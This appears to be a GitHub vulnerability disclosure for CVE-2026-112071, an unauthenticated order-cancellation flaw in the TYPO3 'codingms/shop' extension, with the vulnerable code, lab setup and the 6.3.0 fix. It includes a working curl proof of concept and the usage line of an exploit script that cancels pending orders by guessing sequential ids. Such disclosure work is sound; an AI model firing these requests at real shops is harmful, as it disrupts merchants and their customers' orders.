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GitHubyuwkaaa/cve-2026-112071

CVE-2026-112071

unauthenticated order cancellation in TYPO3 EXT:shop

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16 days agoNot yet reviewed

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CVE-2026-112071 — unauthenticated order cancellation in TYPO3 EXT:shop

TYPO3 / coding.ms

CVE CVSS 3.1 CWE Auth

Any visitor can cancel unpaid orders in a TYPO3 shop. cancelAction() takes the order id from the request and never checks who is calling. Order ids are sequential, so every pending order is reachable. No account, no session, one POST.

CVECVE-2026-112071
AdvisoryTYPO3-EXT-SA-2026-036, 2026-10-20
Packagecodingms/shop "TYPO3 Shop by coding.ms", 10,182 installs
Affected< 4.9.4 · 5.0.0 – 5.21.0 · 6.0.0 – 6.2.0
Fixed4.9.4 · 5.21.1 · 6.3.0
CWECWE-862, Missing Authorization
CVSS 4.06.9 Medium, as TYPO3 scored it
CVSS 3.17.5 High, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Tested onTYPO3 13.4.34, PHP 8.4, shop 6.2.0
CreditNguyen Le Thanh Nam

Second CVE in the same advisory: CVE-2026-113468, PayPal callback forgery in the same controller.

The bug

Classes/Controller/BasketOrderController.php:1053, version 6.2.0:

if ($this->request->hasArgument('basketOrder')) {
    $basketOrderUid = (int)$this->request->getArgument('basketOrder');
    /** @var BasketOrder $basketOrder */
    $basketOrder = $this->basketOrderRepository->findByIdentifier($basketOrderUid);
    if ($basketOrder instanceof BasketOrder) {
        // But only if it's in state "prepared"
        if ($basketOrder->getStatus() === 'prepared') {
            $basketOrder->setStatus('canceled');
            $basketOrder->setCanceledDate(new \DateTime());
            $this->basketOrderRepository->update($basketOrder);

cancel is registered as a public plugin action in ext_localconf.php:62, so the action is reachable by anyone. The uid is (int) cast, so there is no SQL injection here. What is missing is an ownership check. The elseif right below handles the correct case, cancelling the order held in the caller's own session.

Two conditions bound it: the target order must be in prepared state, and the page must carry the BasketOrder plugin.

PoC

curl -X POST 'http://127.0.0.1:8081/' \
  --data 'tx_shop_basketorder[action]=cancel' \
  --data 'tx_shop_basketorder[controller]=BasketOrder' \
  --data 'tx_shop_basketorder[basketOrder]=1'
[poc] BEFORE
+-----+----------+---------------+
| uid | status   | canceled_date |
+-----+----------+---------------+
|   1 | prepared |             0 |
|   2 | paid     |             0 |
+-----+----------+---------------+

[poc] ATTACK  anonymous POST, no Cookie, no session, no FE/BE user  -> order 1
        HTTP 200   order 1 status: prepared -> canceled
[poc]   FIRED  an unauthenticated request cancelled the order

Controls from the same run: order 2 is paid and stays untouched, dropping the basketOrder argument changes nothing, and the install has zero frontend users and zero open sessions. Full output in poc-transcript.txt.

GET returns 404, because TYPO3 rejects it with an empty cHash. POST parameters are not part of the cache hash, so cHash does not cover this.

exploit.py sends the same request against a host you own. Dry run by default:

python3 exploit.py http://shop.example/checkout --order 42 --fire

The response is HTTP 200 whether or not the order moved. Confirm in the backend.

Lab

Building the lab

  1. TYPO3 13.4.x classic mode from get.typo3.org/13/tar.gz, no Composer needed.
  2. shop from the released Packagist artefact, plus codingms/additional-tca and codingms/modules.
  3. Include EXT:shop/Configuration/TypoScript/ in the root template.
  4. Put a shop_basketorder content element on a page.
  5. Insert a row in tx_shop_domain_model_basketorder with status = 'prepared'.
  6. Serve with php -S, PHP intl loaded.

Skip step 3 and every request returns 404, which looks like a site that is not vulnerable.

Fix

6.3.0 binds the uid to the caller's session:

$this->restoreSession();
$sessionBasketOrderUid = (int)($this->session['basketOrder'] ?? 0);
if ($sessionBasketOrderUid > 0 && $sessionBasketOrderUid === $basketOrderUid) {

orderAction() had the same pattern and is reachable from payment callbacks where no session cookie exists, so it got BasketOrderHmacService, which signs the uid with the site encryptionKey. Full diff in fix-6.2.0-to-6.3.0.diff, taken from the released 6.3.0 artefact. That patch was read only; the PoC was not re-run against it.

References

  • TYPO3-EXT-SA-2026-036
  • CVE-2026-112071
  • codingms/shop on Packagist

Reported to [email protected]. Fixed versions by Thomas Deuling (coding.ms), advisory by Torben Hansen (TYPO3 Security Team).

For testing systems you own or are authorised to test.

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